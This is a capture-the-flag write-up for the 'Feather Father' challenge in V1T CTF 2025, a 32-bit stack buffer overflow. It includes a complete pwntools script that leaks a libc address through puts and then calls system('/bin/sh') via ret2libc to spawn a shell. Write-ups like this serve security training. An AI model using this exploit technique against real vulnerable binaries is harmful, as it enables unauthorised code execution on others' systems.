tsune Help

2025-3

Challenge information

  • CTF: V1T CTF 2025

  • Challenge: Feather Father

  • Solves: 203

  • Description: It happily follows a familiar tune ...

  • Time-wasting to solve: 10 min

Writeup

Screenshot_20251102_235727.png

obviously bof in 32bit ELF.

chall: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ld-linux.so.2, BuildID[sha1]=543ac180065b2ba2db22e465129623c7dd6f9f6c, for GNU/Linux 3.2.0, not stripped

Important point that in SYSV ABI, 32bit elf set arguments in stack.

e.g.,

rsp -> |+0x4| func |+0x4| retaddr |+0x4| arg1 |+0x4| arg2 |+0x4| arg3

so we don't need gadgets that set an arbitrary value to register like pop rdi; ret;.

from pwn import * from icecream import ic import sys e = ELF("chall",checksec=False) libc = ELF("libc.so.6",checksec=False) ld = ELF("ld-linux.so.2",checksec=False) nc = "nc 127.0.0.1 9999" if "nc" in nc: HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) if "http" in nc: from urllib.parse import urlparse HOST = urlparse(nc).hostname PORT = urlparse(nc).port dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 """ context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sln = lambda b: io.sendline(str(b).encode()) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") fsp = lambda b : f"%{b}$p".encode() shell = lambda : io.interactive() payload = b"" def rst():global payload;payload = b"";log.info("***PAYLOAD RESET***") def pay(*args, **kwargs): global payload; payload += b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args]) pay( b"A"*(0x138-0x8), p32(0x0804c000+0x800), p32(0x0804c000+0x800), p32(e.plt["puts"]), p32(e.sym["main"]), p32(e.got["puts"]), ) r() sl(payload) leak = pu32(rl().strip()) ic(hex(leak)) libc.address = leak - (0xf26af140 - 0xf2637000) ic(hex(libc.address)) rst() pay( b"A"*(0x138-0x8), p32(0x0804c000+0x800), p32(0x0804c000+0x800), p32(libc.sym["system"]), b"AAAA", p32(next(libc.search(b"/bin/sh"))), ) sl(payload) shell()
Last modified: 04 November 2025